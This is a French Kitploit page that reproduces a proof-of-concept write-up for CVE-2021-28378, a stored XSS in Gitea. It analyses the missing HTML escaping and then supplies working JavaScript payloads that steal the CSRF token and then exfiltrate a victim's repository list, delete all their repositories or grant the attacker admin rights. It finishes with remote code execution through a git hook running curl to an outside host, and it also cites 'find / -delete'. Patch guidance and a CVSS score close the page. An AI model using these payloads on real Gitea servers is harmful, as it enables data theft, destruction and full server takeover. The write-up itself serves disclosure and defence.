Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-28378 — Preuve de concept détaillée et analyse de CVE-2021-28378, une vulnérabilité XSS stockée dans Gitea permettant l'injection de code arbitraire, l'élévation de privilèges et l'exécution de code à distance via les hooks git. | Kitploit
Outils/GitHubGitHub/pandatix/cve-2021-28378
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubpandatix/cve-2021-28378

CVE-2021-28378

Preuve de concept détaillée et analyse de CVE-2021-28378, une vulnérabilité XSS stockée dans Gitea permettant l'injection de code arbitraire, l'élévation de privilèges et l'exécution de code à distance via les hooks git.

Voir le dépôt
43il y a 8 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2021-28378

Détails sur cette CVE ici.

Cette CVE cible un manque d'échappement de chaînes côté client pour du contenu récupéré depuis le serveur. Elle permet à un attaquant d'injecter facilement du code arbitraire en créant un commentaire sur un ticket ou une pull request. Cela a été introduit dans le commit 7d7ab1eeae43d99fe329878ac9c8db5e45e2dee5, à la fin de janvier 2020, mais en raison d'un squash, on ne peut pas savoir exactement qui a fait cela pour enquêter sur des bugs similaires introduits.

Tout d'abord, comprenons d'où vient cette vulnérabilité. Pour cela, regardons le commit qui corrige cette CVE.

Avant :

  • Premièrement :
root@kitploit:~
    labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
  • Deuxièmement :
root@kitploit:~
    html: `
<div>
    <p><small>${issue.repository.full_name} on ${createdAt}</small></p>
    <p><span class="${color}">${svg(octicon)}</span> <strong>${issue.title}</strong> #${index}</p>
    <p>${body}</p>
    ${labels}
</div>
`

On voit qu'il n'y a pas d'échappement HTML sur label.name, , et , qui sont des chaînes qu'un utilisateur peut manipuler, et donc injecter du code arbitraire. Notez que ne peut pas vraiment être manipulé pour injecter du code car il doit suivre trop de règles () que nous ne pouvons pas contourner avec cette CVE. C'est exactement ce que la PR corrige en les passant dans .

issue.repository.full_name
issue.title
body
issue.repository.full_name
[\w._-]+
htmlEscape

Après :

  • Premièrement :
root@kitploit:~
    labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${htmlEscape(label.name)}</div>`;
  • Deuxièmement :
root@kitploit:~
    html: `
<div>
    <p><small>${htmlEscape(issue.repository.full_name)} on ${createdAt}</small></p>
    <p><span class="${color}">${svg(octicon)}</span> <strong>${htmlEscape(issue.title)}</strong> #${index}</p>
    <p>${htmlEscape(body)}</p>
    ${labels}
</div>
`

Comprendre la vulnérabilité

Jetons un coup d'œil rapide au fichier web_src/js/features/contextpopup.js pour comprendre comment déclencher la CVE.

root@kitploit:~
...
const {AppSubUrl} = window.config;

export default function initContextPopups() {
  const refIssues = $('.ref-issue');
  if (!refIssues.length) return;

  refIssues.each(function () {
    const [index, _issues, repo, owner] = $(this).attr('href').replace(/[#?].*$/, '').split('/').reverse();
    issuePopup(owner, repo, index, $(this));
  });
}

function issuePopup(owner, repo, index, $element) {
  $.get(`${AppSubUrl}/api/v1/repos/${owner}/${repo}/issues/${index}`, (issue) => {
...
    for (let i = 0; i < issue.labels.length; i++) {
...
      labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
    }
...

    $element.popup({
      variation: 'wide',
      delay: {
        show: 250
      },
      html: `
<div>
  <p><small>${issue.repository.full_name} on ${createdAt}</small></p>
  <p><span class="${color}">${svg(octicon, 16)}</span> <strong>${issue.title}</strong> #${index}</p>
  <p>${body}</p>
  ${labels}
</div>
`
    });
  });
}

Ce que nous voyons là, c'est que pour chaque nœud avec la classe ref-issue, nous ajoutons une popup vulnérable. Maintenant, trouvons où un ref-issue est envoyé à l'utilisateur : faisons un grep (et gardons seulement les résultats intéressants, donc pas les fichiers de test ou similaires) ! Le numéro de commit suivant correspond au tag 1.12.4, la version par défaut du fichier officiel docker-compose.yml, qui est affectée par cette CVE.

root@kitploit:~
cd gitea
git checkout 8a51c48eb6367513e0518bcd412e64f6cbfe5e1a
grep -r ref-issue

modules/markup/html.go:		replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))
modules/markup/html.go:		replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
modules/markup/html.go:		link = createLink(com.Expand(ctx.metas["format"], ctx.metas), reftext, "ref-issue")
modules/markup/html.go:			link = createLink(util.URLJoin(setting.AppURL, ctx.metas["user"], ctx.metas["repo"], path, ref.Issue), reftext, "ref-issue")
modules/markup/html.go:			link = createLink(util.URLJoin(setting.AppURL, ref.Owner, ref.Name, path, ref.Issue), reftext, "ref-issue")
modules/markup/sanitizer.go:	sanitizer.policy.AllowAttrs("class").Matching(regexp.MustCompile(`ref-issue`)).OnElements("a")

Nous savons maintenant qu'il n'y a pas de contenu statique avec la classe ref-issue, mais qu'il est généré dynamiquement. La dernière ligne n'est pas intéressante car c'est juste une règle de politique de sanitizer. Les autres sont intéressantes, nous verrons pourquoi.

Plongeons dans modules/markup/html.go.

root@kitploit:~
func fullIssuePatternProcessor(ctx *postProcessCtx, node *html.Node) {
	if ctx.metas == nil {
		return
	}
	m := getIssueFullPattern().FindStringSubmatchIndex(node.Data)
	if m == nil {
		return
	}
	link := node.Data[m[0]:m[1]]
	id := "#" + node.Data[m[2]:m[3]]

	// extract repo and org name from matched link like
	// http://localhost:3000/gituser/myrepo/issues/1
	linkParts := strings.Split(path.Clean(link), "/")
	matchOrg := linkParts[len(linkParts)-4]
	matchRepo := linkParts[len(linkParts)-3]

	if matchOrg == ctx.metas["user"] && matchRepo == ctx.metas["repo"] {
		// TODO if m[4]:m[5] is not nil, then link is to a comment,
		// and we should indicate that in the text somehow
		replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))

	} else {
		orgRepoID := matchOrg + "/" + matchRepo + id
		replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
	}
}

Nous devons aussi comprendre ce que fait getIssueFullPattern.

root@kitploit:~
func getIssueFullPattern() *regexp.Regexp {
	if issueFullPattern == nil {
		appURL := setting.AppURL
		if len(appURL) > 0 && appURL[len(appURL)-1] != '/' {
			appURL += "/"
		}
		issueFullPattern = regexp.MustCompile(appURL +
			`\w+/\w+/(?:issues|pulls)/((?:\w{1,10}-)?[1-9][0-9]*)([\?|#]\S+.(\S+)?)?\b`)
	}
	return issueFullPattern
}

Résumons pour comprendre le travail effectué ici.

Dans fullIssuePatternProcessor, nous devons d'abord être sûrs que ctx.metas n'est pas nil (ce que nous supposons être vrai car il est construit par des fonctions/méthodes de niveau supérieur dans la pile d'appels). Ensuite, nous vérifions si les données du nœud correspondent à un chemin comme http://mygitea.com/gituser/myrepo/issues/1. Si c'est le cas, nous le remplaçons par un lien. Si le lien concerne le même utilisateur et le même dépôt, on le remplace par le motif #<id_issue>, sinon par <utilisateur>/<dépôt>#<id_issue>. Dans ces deux cas, une classe ref-issue est ajoutée pour générer la popup.

Les autres résultats du grep font à peu près la même chose.

Il est temps de jouer !

Maintenant que nous avons le contexte, qui consiste à remplacer un lien comme http://mygitea.com/gituser/myrepo/issues/1 par un lien plus court, nous pouvons déduire où ce travail est effectué : dans les tickets et les PR, où vous pouvez ajouter un label et/ou poster un commentaire.

Pour cela, supposons que vous ayez un dépôt avec des droits d'écriture.

Label

Allez dans votre dépôt, et créez un nouveau label avec un nom contenant du code arbitraire (comme <script>alert('label.name')</script>).

Ticket

Allez dans les tickets de votre dépôt, créez un nouveau ticket avec du code arbitraire dans le titre et le corps, et ajoutez-lui le label précédent.

Exécutons du code

Créez un nouveau ticket sur n'importe quel dépôt, et ajoutez dans son corps un lien vers votre ticket injecté, comme http://mygitea.com/gituser/myrepo/issues/1. Il sera remplacé par le lien que nous avons vu précédemment, et quand quelqu'un passera sa souris sur le lien, le code arbitraire sera exécuté : une popup s'affiche contenant label.name.

Temps d'exploitation

La CVE-2021-28378 est prouvée capable de permettre l'injection de code arbitraire. Imaginons ce qu'un attaquant pourrait faire.

Sur Gitea, vous avez un jeton CSRF qui atteste de votre identité lorsque vous remplissez des formulaires et/ou appelez l'API, empêchant des problèmes de sécurité comme l'intégration d'une iframe Gitea pour voler vos accès. Le jeton CSRF est stocké dans vos cookies (_csrf), mais aussi dans pratiquement toutes les pages web (sauf quelques-unes comme /api/v1/swagger) qu'un utilisateur visite sous certains champs... Et donc sur les pages des tickets/PR. Le champ le plus intéressant qui le contient se trouve dans la partie de l'en-tête commune des pages HTML, toujours avec le même XPath : /html/head/meta[9].

Avec ces données, nous pouvons désormais envoyer des actions authentifiées de la part de tout utilisateur affecté par notre payload, en récupérant simplement le jeton CSRF en JS avec ce qui suit : (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content.

Maintenant, il est temps d'utiliser votre créativité pour construire diverses attaques. Notez que vous serez limité dans vos actions, mais pas trop non plus :

  • le label.name et issue.title doivent être courts, donc peu de payloads conviendront. Néanmoins, vous pouvez injecter un script avec un attribut src qui référencera n'importe quel script de votre choix ;
  • le body n'a pas de limite de longueur, mais l'aperçu de la popup limite la prévisualisation des données. Votre payload devra être au début si vous voulez qu'il soit déclenché. Néanmoins, vous pouvez faire comme spécifié précédemment avec un script et un attribut src.

Regardons quelques exemples que vous pouvez construire.

Obtenir tous les dépôts d'un utilisateur

Imaginez le scénario où un attaquant veut obtenir tous les dépôts auxquels vous avez accès. Cela prouve que l'attaque peut briser toute votre confidentialité. Cette attaque se réalise en 3 étapes :

  • voler le jeton CSRF ;
  • obtenir la liste des dépôts ;
  • créer un nouveau ticket avec le contenu JSON brut de l'étape précédente.

Écrivons du code JS pour faire cela :

root@kitploit:~
var AppURL = "http://mygitea.com";
var HackerRepo = "/hacker/mysaferepo"

var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;

var xhrGet = new XMLHttpRequest();
xhrGet.open("GET", AppURL + "/api/v1/repos/search", true);
xhrGet.onload = function() {
    if (xhrGet.readyState === XMLHttpRequest.DONE) {
        var xhrPost = new XMLHttpRequest();
        xhrPost.open("POST", AppURL + HackerRepo + "/issues/new", true);
        xhrPost.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xhrPost.send("_csrf=" + CSRF + "&title=Title&content=" + xhrGet.responseText);
    }
}
xhrGet.send(null);

Placez cette payload dans son propre fichier, téléchargez-le sur votre dépôt et injectez-le dans le corps d'un ticket en utilisant quelque chose comme <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>.

Maintenant, l'attaquant peut commenter un ticket/PR en référençant ce ticket injecté, et quand quelqu'un passera sa souris sur le lien, toutes ses données de dépôts seront volées par l'attaquant !

Supprimer tous les dépôts auxquels un utilisateur a accès

Imaginez le scénario où un attaquant veut supprimer tous les dépôts auxquels vous avez accès. Cela prouve que l'attaque peut briser toute votre intégrité. Cette attaque se réalise en 3 étapes :

  • voler le jeton CSRF ;
  • obtenir la liste des dépôts ;
  • pour chaque dépôt, le supprimer (au moins essayer).

Écrivons du code JS pour faire cela :

root@kitploit:~
var AppURL = "http://mygitea.com";

var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;

var xhrGet = new XMLHttpRequest();
xhrGet.responseType = "json";
xhrGet.open("GET", AppURL + "/api/v1/repos/search", true);
xhrGet.onload = function() {
    if (xhrGet.readyState === XMLHttpRequest.DONE) {
        data = xhrGet.response.data;
        data.forEach(repo => {
            var xhrPost = new XMLHttpRequest();
            xhrPost.open("POST", repo.html_url + "/settings", true);
            xhrPost.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            xhrPost.send("_csrf=" + CSRF + "&action=delete&repo_name=" + repo.name)
        });
    }
}
xhrGet.send(null);

Placez cette payload dans son propre fichier, téléchargez-le sur votre dépôt et injectez-le dans le corps d'un ticket en utilisant quelque chose comme <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>.

Maintenant, l'attaquant peut commenter un ticket/PR en référençant ce ticket injecté, et quand quelqu'un passera sa souris sur la référence, tous les dépôts auxquels il a accès seront supprimés !

Obtenir les droits d'administration

Imaginez le scénario où un attaquant veut obtenir les droits d'administration. Cela prouve qu'une escalade de privilèges est possible. Cette attaque se réalise en 2 étapes :

  • voler le jeton CSRF ;
  • donner les droits d'administration à l'attaquant (au moins essayer).

Écrivons du code JS pour faire cela :

root@kitploit:~
var AppURL = "http://mygitea.com";
var HackerID = "1";
var HackerEmail = "[email protected]";

var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;

var xhr = new XMLHttpRequest();
xhr.open("POST", AppURL + "/admin/users/" + HackerID);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send("_csrf=" + CSRF + "&login_type=0-0&login_name=&full_name=&email=" + encodeURIComponent(HackerEmail) + "&password=&website=&location=&max_repo_creation=-1&active=on&admin=on&allow_git_hook=on&allow_create_organization=on");

Notez que la valeur de login_type peut changer selon votre version de Gitea et la façon dont votre instance gère la connexion.

Placez cette payload dans son propre fichier, téléchargez-le sur votre dépôt et injectez-le dans le corps d'un ticket en utilisant quelque chose comme <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>.

Maintenant, l'attaquant peut commenter un ticket/PR en référençant ce ticket injecté, et quand quelqu'un avec suffisamment de droits passe sa souris sur la référence, l'attaquant obtient les droits d'administration ! Il peut aussi assigner le ticket à un administrateur, ou créer le ticket sur un dépôt qu'un administrateur surveille (il recevra donc une notification) pour augmenter ses chances.

Obtenir un RCE

La partie la plus « amusante » avec Gitea est que les considérations de sécurité ne faisaient pas partie du processus, en implémentant des git hooks. C'est probablement l'une des pires idées que vous puissiez implémenter.

Une fois que vous avez les droits d'administration, vous pouvez vous accorder le privilège de gérer les git hooks (ce qui est réalisé avec la payload précédente). Procédez comme le fait le module Metasploit Gitea Git Hooks Remote Code Execution :

  • ajoutez votre payload bash dans le git-hook post-receive ;
  • committez et pushez quelque chose, même si c'est vide ;
  • vérifiez l'effet de la payload.

Pour être sûr que ce RCE est valide, mettons ce qui suit, avec un id valide.

root@kitploit:~
#!/bin/bash

curl https://requestbin.net/r/<id>

Dans le panneau d'inspection RequestBin, après avoir soumis un fichier qui déclenche le git hook post-receive, nous voyons qu'une requête a été effectuée avec un User-Agent: curl/<version> ce qui prouve qu'il s'agit d'un RCE valide.

Notez que cette fonctionnalité implique que pour chaque XSS qui peut être déclenchée par un administrateur, tant qu'il y aura la valeur _csrf intégrée dans pratiquement toutes les pages web, vous pouvez obtenir un RCE sur Gitea.

Comment se protéger

Effectuez vos mises à jour selon les versions affectées par la CVE (référez-vous au rapport officiel). Au moment de la rédaction : 1.12.0 à 1.13.4 (exclue).

Remarques

Voici une liste des versions affectées et de leur statut de test. Notez que pour les versions 1.13.X, vous devrez ajouter DISABLE_GIT_HOOKS = false dans le fichier app.ini sous la section [security], qui pourrait se trouver à data/gitea/conf/app.ini, selon l'emplacement de votre dossier de données (pour le fichier docker-compose.yml documenté sur DockerHub, il sera dans le même dossier).

VersionXSSRCE
1.12.0✅✅
1.12.1✅✅
1.12.2✅✅
1.12.3✅✅
1.12.4✅✅
1.12.5✅✅
1.12.6✅✅
1.13.0✅✅
1.13.1✅✅
1.13.2✅✅
1.13.3✅✅

✅: prouvé fonctionnel ; ❓: besoin de tests ; ❌: prouvé non fonctionnel

Ce tableau est destiné à guider le lecteur dans le calcul du score : il s'agit uniquement de discuter du score, et non de le prendre comme un ordre.

MetriqueValeurExplication
AVRéseauUtilise HTTP pour interagir.
ACFaibleNécessite seulement un ticket (par défaut sur Gitea, il est très facile d'en créer un car c'est activé pour tout le monde) ou une pull request.
PRFaibleDans la plupart des contextes, il faut un compte pour créer un ticket (par défaut, vous pouvez enregistrer de nouveaux comptes). Tous les comptes peuvent créer un ticket sur un dépôt en lecture seule, sauf si le dépôt a été configuré pour éviter les tickets (ce qui n'est pas le paramètre par défaut et est rarement modifié).
UIRequisUn utilisateur ou administrateur doit passer sa souris sur le lien infecté pour déclencher une payload.
SModifiéAvec le RCE, vous avez accès à la machine hôte et donc aux services colocalisés.
CÉlevéUne fois que vous avez les droits d'administration, vous pouvez tout gérer même si cela a été configuré en privé. Vous êtes capable de voler les identifiants de la base de données, de vous y connecter en utilisant le RCE et d'extraire des données. Avec le RCE, vous pouvez lire directement le système de fichiers, où aucun contrôle d'authentification/autorisation n'est effectué par Gitea.
IÉlevéUne fois que vous avez les droits d'administration, vous pouvez modifier les droits, la visibilité, changer le code du dépôt, voire supprimer le dépôt. Avec le RCE, vous êtes libre d'explorer tout et donc d'impacter l'intégrité des utilisateurs, des fichiers...
AÉlevéÉtant donné le RCE, vous pouvez simplement supprimer tout le système de fichiers avec un find / -delete, provoquant une perte totale de disponibilité.
EÉlevéÉtant donné le script python exploit.py, vous pouvez facilement exploiter la vulnérabilité, d'un simple compte à un reverse shell root.
RLCorrectif officielCorrigé par le commit <1e3c3388fb82235d9f3d63a0bad62ca3ff4682ab>, fusionné dans master et donc dans Gitea 1.13.4.
RCConfirméCe rapport confirme et montre de multiples exploits, de l'analyse de l'origine de la XSS à un exemple et un script de RCE.

Chaîne vectorielle : CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H/E:H/RL:O/RC:C

Nom du groupe de métriqueScoreLibellé
Score de base9.0Critical
Score temporel8.6High
Télécharger l’outil